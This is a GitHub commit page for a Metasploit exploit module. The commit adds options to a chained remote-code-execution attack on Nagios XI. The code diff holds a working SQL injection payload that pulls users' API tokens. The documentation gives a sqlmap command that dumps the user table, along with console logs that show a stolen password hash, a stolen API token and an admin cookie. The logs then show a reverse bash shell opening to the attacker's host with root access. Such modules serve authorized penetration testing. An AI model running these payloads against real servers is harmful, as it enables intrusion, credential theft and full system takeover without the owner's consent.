Skip to content

Commit 1d6ee71

Browse files
committed
Land rapid7#7427, new options for nagios_xi_chained_rce
2 parents 2a065cd + b0cd28e commit 1d6ee71

File tree

2 files changed

+133
-4
lines changed

2 files changed

+133
-4
lines changed

documentation/modules/exploit/linux/http/nagios_xi_chained_rce.md

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,8 +28,22 @@ steps on the screen to configure the app.
2828
Configuration is actually not required to exploit the app, but you should do it
2929
anyway.
3030

31+
## Options
32+
33+
**USER_ID**
34+
35+
If you wish to exploit a particular ```USER_ID```, that can be specified here. Default is 1, which is most likely the admin account.
36+
37+
**API_TOKEN**
38+
39+
The SQLi included only works for MySQL, which should work in most cases. However, if you experience a different backend, you can enumerate the user
40+
table via sqlmap: ```sqlmap -u "http://[ip]/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump```.
41+
Then you can set the ```USER_ID``` and ```API_TOKEN``` to skip those phases and move on to exploitation. Default is empty. See example below for more usage.
42+
3143
## Usage
3244

45+
### Typical Usage
46+
3347
Just set ```RHOST``` and fire off the module! It's pretty much painless.
3448
```set VERBOSE true``` if you want to see details.
3549

@@ -71,3 +85,103 @@ uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
7185
uname -a
7286
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
7387
```
88+
89+
### Emulating a different DB
90+
91+
#### First we'll attempt the exploit and see what happens.
92+
93+
```
94+
msf exploit(nagios_xi_chained_rce) > show options
95+
96+
Module options (exploit/linux/http/nagios_xi_chained_rce):
97+
98+
Name Current Setting Required Description
99+
---- --------------- -------- -----------
100+
API_TOKEN no If an API token was already stolen, skip the SQLi
101+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
102+
RHOST 192.168.2.218 yes The target address
103+
RPORT 80 yes The target port
104+
SSL false no Negotiate SSL/TLS for outgoing connections
105+
USER_ID 1 yes User ID in the database to target
106+
VHOST no HTTP server virtual host
107+
108+
109+
Payload options (cmd/unix/reverse_bash):
110+
111+
Name Current Setting Required Description
112+
---- --------------- -------- -----------
113+
LHOST 192.168.2.117 yes The listen address
114+
LPORT 4444 yes The listen port
115+
116+
117+
Exploit target:
118+
119+
Id Name
120+
-- ----
121+
0 Nagios XI <= 5.2.7
122+
123+
124+
msf exploit(nagios_xi_chained_rce) > exploit
125+
126+
[*] Started reverse TCP handler on 192.168.2.117:4444
127+
[*] Nagios XI version: 5.2.7
128+
[*] Getting API token
129+
[+] 0 incidents resolved in Nagios IM
130+
131+
[-] Exploit aborted due to failure: unexpected-reply: API token not found! punt!
132+
[*] Exploit completed, but no session was created.
133+
```
134+
135+
#### Now lets try using sqlmap to enumerate the user table.
136+
137+
```
138+
root@k:~# sqlmap -u "http://192.168.2.218/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump
139+
...snip...
140+
Database: nagiosxi
141+
Table: xi_users
142+
[2 entries]
143+
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
144+
| user_id | name | email | enabled | username | password | backend_ticket |
145+
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
146+
| 2 | admin2 | [email protected] | 1 | admin2 | c84258e9c39059a89ab77d846ddab909 | 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g |
147+
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
148+
149+
...snip...
150+
```
151+
152+
#### Re-target
153+
Now, we can set the ```USER_ID``` and ```API_TOKEN``` (backend_ticket)
154+
155+
```
156+
msf exploit(nagios_xi_chained_rce) > set USER_ID 2
157+
USER_ID => 2
158+
msf exploit(nagios_xi_chained_rce) > set API_TOKEN 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
159+
API_TOKEN => 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
160+
msf exploit(nagios_xi_chained_rce) > exploit
161+
162+
[*] Started reverse TCP handler on 192.168.2.117:4444
163+
[*] Nagios XI version: 5.2.7
164+
[*] Getting admin cookie
165+
[+] Admin cookie: nagiosxi=rjs4f9k4299v78hpgq3374q6j6;
166+
[+] CSRF token: c53d1f591264a3ea771639a7782627f8
167+
[*] Getting monitored host
168+
[+] Monitored host: localhost
169+
[*] Downloading component
170+
[*] Uploading root shell
171+
[*] Popping shell!
172+
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.218:51032) at 2016-10-10 10:15:08 -0400
173+
[*] Cleaning up...
174+
[*] rm -rf ../profile
175+
[*] unzip -qd .. ../../../../tmp/component-profile.zip
176+
[*] chown -R nagios:nagios ../profile
177+
[*] rm -f ../../../../tmp/component-ZEaGkiTW.zip
178+
179+
1138255764
180+
NXEqynCVIfLzvpjUkqOovFvuLgsUrtpo
181+
CKorOSWlTQEkRoiwCiBqTgylyLQjuWxU
182+
oIGZxLofAStLsgsMNaGnQzzMuBYpJUQs
183+
fkUlWzVvhurgAATtxKhLSBFCxQaZqjtR
184+
QajRDDToeigHGMFdUbaClxkLfJbxqBKv
185+
whoami
186+
root
187+
```

modules/exploits/linux/http/nagios_xi_chained_rce.rb

Lines changed: 19 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,11 @@ def initialize(info = {})
4444
'LHOST' => Rex::Socket.source_address
4545
}
4646
))
47+
48+
register_options([
49+
OptInt.new('USER_ID', [true, 'User ID in the database to target', 1]),
50+
OptString.new('API_TOKEN', [false, 'If an API token was already stolen, skip the SQLi'])
51+
])
4752
end
4853

4954
def check
@@ -69,8 +74,12 @@ def exploit
6974
fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
7075
end
7176

72-
print_status('Getting API token')
73-
get_api_token
77+
if datastore['API_TOKEN']
78+
@api_token = datastore['API_TOKEN']
79+
else
80+
print_status('Getting API token')
81+
get_api_token
82+
end
7483
print_status('Getting admin cookie')
7584
get_admin_cookie
7685
print_status('Getting monitored host')
@@ -117,13 +126,19 @@ def get_api_token
117126
'vars_get' => {
118127
'mode' => 'resolve',
119128
'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
120-
'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
129+
"SELECT backend_ticket FROM xi_users WHERE user_id=#{datastore['USER_ID']}" \
121130
'),FLOOR(RAND(0)*2))x ' \
122131
'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
123132
}
124133
)
125134

135+
# default admin token is shorter, ie 27o3b7mu1 shortened to 27o3b7mu
136+
# any other user has a longer token, but we cant strip the last char off.
137+
# example: 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
126138
if res && res.body =~ /Duplicate entry '(.*?).'/
139+
if $1.length > 8
140+
res.body =~ /Duplicate entry '(.*?)'/
141+
end
127142
@api_token = $1
128143
vprint_good("API token: #{@api_token}")
129144
else
@@ -136,7 +151,7 @@ def get_admin_cookie
136151
'method' => 'GET',
137152
'uri' => '/nagiosxi/rr.php',
138153
'vars_get' => {
139-
'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" +
154+
'uid' => "#{datastore['USER_ID']}-#{Rex::Text.rand_text_alpha(8)}-" +
140155
Digest::MD5.hexdigest(@api_token)
141156
}
142157
)

0 commit comments

Comments
 (0)